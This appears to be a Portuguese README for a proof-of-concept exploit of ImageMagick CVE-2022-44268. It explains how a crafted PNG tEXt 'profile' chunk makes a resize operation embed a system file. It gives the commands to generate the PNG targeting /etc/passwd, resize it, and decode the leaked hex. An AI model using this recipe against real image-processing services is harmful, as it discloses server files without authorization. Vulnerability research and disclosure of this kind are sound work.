
Prova de conceito de exploração para vulnerabilidade de leitura arbitrária de arquivos do ImageMagick (CVE-2022-44268) via chunks textuais PNG criados sob medida, possibilitando a extração de arquivos do sistema durante operações de redimensionamento de imagem.
Este repositório contém uma Prova de Conceito (PoC) para uma vulnerabilidade no ImageMagick (v. 7.1.0-49), uma biblioteca de manipulação de imagens open-source amplamente utilizada. A vulnerabilidade permite que um atacante incorpore o conteúdo de um arquivo arbitrário em uma imagem redimensionada quando o ImageMagick analisa um arquivo PNG.
Quando o ImageMagick realiza operações como redimensionamento em um arquivo PNG, ele pode incluir o conteúdo de um arquivo do sistema, desde que o binário magick tenha as permissões necessárias para lê-lo. Esta vulnerabilidade surge devido ao mau tratamento de chunks textuais em arquivos PNG.
Um agente malicioso pode explorar essa vulnerabilidade criando um arquivo PNG ou usando um existente e adicionando um tipo de chunk textual (tEXt). Esses chunks consistem em uma palavra-chave e uma string de texto. Neste caso, se a palavra-chave corresponder à string "profile" (sem aspas), o ImageMagick interpretará a string de texto acompanhante como um nome de arquivo e tentará carregar seu conteúdo como um perfil bruto. Como resultado, quando a imagem redimensionada for baixada, ela conterá o conteúdo do arquivo remoto especificado pelo atacante.
Para mais informações, veja este artigo do MetabaseQ.
Para explorar o ImageMagick, gere um png malicioso:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
Em seguida, execute uma operação de redimensionamento com convert:
convert output.png -resize 50% leak.png
Finalmente, inspecione a imagem vazada e converta o Raw profile para hex:
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
Nota: Esta PoC é destinada apenas para fins educacionais e informativos. Certifique-se de ter as permissões e autorização legal necessárias antes de testar ou usar esta PoC em qualquer sistema.